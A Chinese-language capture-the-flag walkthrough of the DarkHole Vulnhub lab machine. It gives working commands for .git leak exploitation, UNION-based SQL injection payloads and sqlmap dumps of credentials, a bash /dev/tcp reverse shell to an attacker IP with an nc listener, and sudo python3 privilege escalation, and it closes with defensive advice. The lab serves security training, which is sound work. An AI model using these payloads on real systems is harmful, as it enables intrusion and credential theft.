DarkHole靶机渗透
字数 1366 2025-08-12 11:34:03

DarkHole靶机渗透实战教学文档

1. 靶机概述

DarkHole是一款难度为"Hard"的Vulnhub靶机,建议使用VMware运行而非VirtualBox。靶机IP为10.8.0.102。

重要提示: 不要浪费时间在暴力破解上。

2. 信息收集阶段

2.1 端口扫描

使用nmap进行基本扫描:

nmap -sV 10.8.0.102

发现开放端口:

  • 22端口:SSH服务
  • 80端口:HTTP服务

2.2 Web目录扫描

发现.git目录泄露,这是一个重要突破口。

3. .git泄露利用

3.1 下载.git目录

使用工具githacker下载.git目录:

python3 GitHacker.py http://10.8.0.102/.git/

3.2 分析.git内容

关键文件分析:

  1. config.php:包含MySQL数据库连接信息
  2. login.php:包含登录处理逻辑

3.3 查看git历史记录

执行命令查看git日志:

git log

发现关键提交信息:"我添加了带有默认凭据的login.php文件"

回退到特定提交查看历史版本:

git checkout a4d900a8d85e8938d3601f3cef113ee293028e10

在login.php中发现默认凭据:

  • 用户名:lush@admin.com
  • 密码:321

4. Web登录

使用获取的凭据成功登录Web后台。

5. SQL注入利用

5.1 手动注入

  1. 确定列数:
?id=1' order by 8 --+  # 页面空白
?id=1' order by 6 --+  # 页面正常

确定有6列。

  1. 确定显示位:
id=' union all select 1,2,3,4,5,6 --+

发现2、3、5、6列显示在页面上。

  1. 获取数据库信息:
  • 数据库名:
id=' union all select 1,GROUP_CONCAT(schema_name),3,4,5,6 FROM information_schema.schemata --+

得到darkhole_2

  • 表名:
?id=' union all select 1,GROUP_CONCAT(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema='darkhole_2' --+

得到sshusers

  • ssh表结构:
?id=' union all select 1,GROUP_CONCAT(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name='ssh' --+

得到列id, user, pass

  • 获取ssh凭据:
?id=' union all select 1,user,pass,4,5,6 FROM ssh--+

得到:

  • 用户名:jehad
  • 密码:fool

5.2 使用sqlmap自动化注入

  1. 获取当前数据库:
sqlmap -u "http://10.8.0.102/dashboard.php?id=1" --cookie="PHPSESSID=qi7ntbrnqas6shqkbucnnmmoaq" --current-db

确认数据库为darkhole_2

  1. 获取表:
sqlmap -u "http://10.8.0.102/dashboard.php?id=1" --cookie="PHPSESSID=qi7ntbrnqas6shqkbucnnmmoaq" -D darkhole_2 --tables
  1. 直接获取ssh表数据:
sqlmap -u "http://10.8.0.102/dashboard.php?id=1" --cookie="PHPSESSID=qi7ntbrnqas6shqkbucnnmmoaq" -D darkhole_2 -T ssh --dump

6. SSH登录

使用获取的凭据登录:

ssh jehad@10.8.0.102
密码:fool

6.1 信息收集

  1. 查看.bash_history
    发现执行了curl "http://127.0.0.1:9999/",测试发现可通过参数执行命令:
curl "http://127.0.0.1:9999/?cmd=id"

返回显示是losy用户

7. 反弹shell

7.1 SSH端口转发

由于服务只能本地访问,使用SSH本地端口转发:

ssh jehad@10.8.0.102 -L 9999:127.0.0.1:9999

7.2 构造反弹shell

URL编码反弹shell命令:

bash -c 'bash -i >& /dev/tcp/10.8.0.100/1234 0>&1'

编码后:

%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%38%2e%30%2e%31%30%30%2f%31%32%33%34%20%30%3e%26%31%27

攻击机开启监听:

nc -lvnp 1234

靶机执行:

curl "http://127.0.0.1:9999/?cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%38%2e%30%2e%31%30%30%2f%31%32%33%34%20%30%3e%26%31%27"

成功获取losy用户shell,找到第一个flag:

DarkHole{'This_is_the_life_man_better_than_a_cruise'}

8. 权限提升

8.1 信息收集

  1. 查看.bash_history
    发现losy修改的密码为gang

  2. 升级shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'
  1. 检查sudo权限:
sudo -l

输入密码gang后,发现可以以root身份执行/usr/bin/python3

8.2 Python提权

利用python的提权方式:

sudo /usr/bin/python3 -c 'import os; os.system("/bin/sh")'

成功获取root权限,找到最终flag:

DarkHole{'Legend'}

9. 关键知识点总结

  1. .git泄露利用:通过.git目录泄露获取源码和历史版本
  2. SQL注入:手动和自动化(sqlmap)注入技术
  3. SSH端口转发:解决本地服务访问限制
  4. 反弹shell:通过命令注入获取交互式shell
  5. 权限提升:利用sudo配置不当进行提权
  6. 信息收集:历史命令、配置文件等敏感信息的重要性

10. 防御建议

  1. 避免.git目录泄露
  2. 使用参数化查询防止SQL注入
  3. 限制sudo权限,遵循最小权限原则
  4. 避免在历史命令中留下敏感信息
  5. 对本地服务实施适当的访问控制
DarkHole靶机渗透实战教学文档 1. 靶机概述 DarkHole是一款难度为"Hard"的Vulnhub靶机,建议使用VMware运行而非VirtualBox。靶机IP为10.8.0.102。 重要提示 : 不要浪费时间在暴力破解上。 2. 信息收集阶段 2.1 端口扫描 使用nmap进行基本扫描: 发现开放端口: 22端口:SSH服务 80端口:HTTP服务 2.2 Web目录扫描 发现 .git 目录泄露,这是一个重要突破口。 3. .git泄露利用 3.1 下载.git目录 使用工具 githacker 下载.git目录: 3.2 分析.git内容 关键文件分析: config.php :包含MySQL数据库连接信息 login.php :包含登录处理逻辑 3.3 查看git历史记录 执行命令查看git日志: 发现关键提交信息:"我添加了带有默认凭据的login.php文件" 回退到特定提交查看历史版本: 在login.php中发现默认凭据: 用户名: lush@admin.com 密码: 321 4. Web登录 使用获取的凭据成功登录Web后台。 5. SQL注入利用 5.1 手动注入 确定列数: 确定有6列。 确定显示位: 发现2、3、5、6列显示在页面上。 获取数据库信息: 数据库名: 得到 darkhole_2 表名: 得到 ssh 和 users 表 ssh表结构: 得到列 id, user, pass 获取ssh凭据: 得到: 用户名: jehad 密码: fool 5.2 使用sqlmap自动化注入 获取当前数据库: 确认数据库为 darkhole_2 获取表: 直接获取ssh表数据: 6. SSH登录 使用获取的凭据登录: 6.1 信息收集 查看 .bash_history : 发现执行了 curl "http://127.0.0.1:9999/" ,测试发现可通过参数执行命令: 返回显示是 losy 用户 7. 反弹shell 7.1 SSH端口转发 由于服务只能本地访问,使用SSH本地端口转发: 7.2 构造反弹shell URL编码反弹shell命令: 编码后: 攻击机开启监听: 靶机执行: 成功获取 losy 用户shell,找到第一个flag: 8. 权限提升 8.1 信息收集 查看 .bash_history : 发现losy修改的密码为 gang 升级shell: 检查sudo权限: 输入密码 gang 后,发现可以以root身份执行 /usr/bin/python3 8.2 Python提权 利用python的提权方式: 成功获取root权限,找到最终flag: 9. 关键知识点总结 .git泄露利用 :通过.git目录泄露获取源码和历史版本 SQL注入 :手动和自动化(sqlmap)注入技术 SSH端口转发 :解决本地服务访问限制 反弹shell :通过命令注入获取交互式shell 权限提升 :利用sudo配置不当进行提权 信息收集 :历史命令、配置文件等敏感信息的重要性 10. 防御建议 避免.git目录泄露 使用参数化查询防止SQL注入 限制sudo权限,遵循最小权限原则 避免在历史命令中留下敏感信息 对本地服务实施适当的访问控制